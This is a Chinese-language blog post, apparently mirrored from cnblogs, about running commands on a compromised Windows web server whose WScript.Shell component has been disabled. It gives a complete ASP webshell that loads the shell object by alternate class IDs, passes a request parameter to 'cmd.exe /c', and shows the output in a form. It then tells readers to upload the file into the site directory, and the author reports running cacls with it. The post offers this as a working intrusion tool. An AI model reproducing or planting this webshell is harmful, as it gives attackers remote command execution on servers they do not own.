zoukankan      html  css  js  c++  java
  • 无wscript.shell组件webshell提权的经验

    可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
    一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
    要想让运行命令可以试试这种方法,成功率为五五之数。
    把下面代码复制:
    <object runat=server id=oScriptlhn scope=page classid=\"clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8\"></object>
    <%if err then%>
    <object runat=server id=oScriptlhn scope=page classid=\"clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B\"></object>
    <%
    end if
    response.write(\"<textarea readonly cols=80 rows=20>\")
    On Error Resume Next
    response.write oScriptlhn.exec(\"cmd.exe /c\" & request(\"c\")).stdout.readall
    response.write(\"</textarea>\")
    response.write(\"<form method=&#39;post&#39;>\")
    response.write(\"<input type=text name=&#39;c&#39; size=60><br>\")
    response.write(\"<input type=submit value=&#39;执行&#39;></form>\")
    %>

    保存为一个asp文件,然后传到网站目录上去
    运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
    我用此成功运行过cacls命令。

    第二那就是运行时出错,可能限制某些代码执行。
  • 相关阅读:
    asp.net Post Get提交数据转Model实例
    ETL构建数据仓库五步法
    什么是数据仓库-数据仓库的基本概念
    简单的说下什么是数据仓库
    简单理解Socket
    Net中的反射使用入门
    JS---BOM
    jQuery Ajax 全解析
    Ajax与JSON的一些总结
    ASP.NET中验证控件的使用
  • 原文地址:https://www.cnblogs.com/swane/p/2010070.html
Copyright © 2011-2022 走看看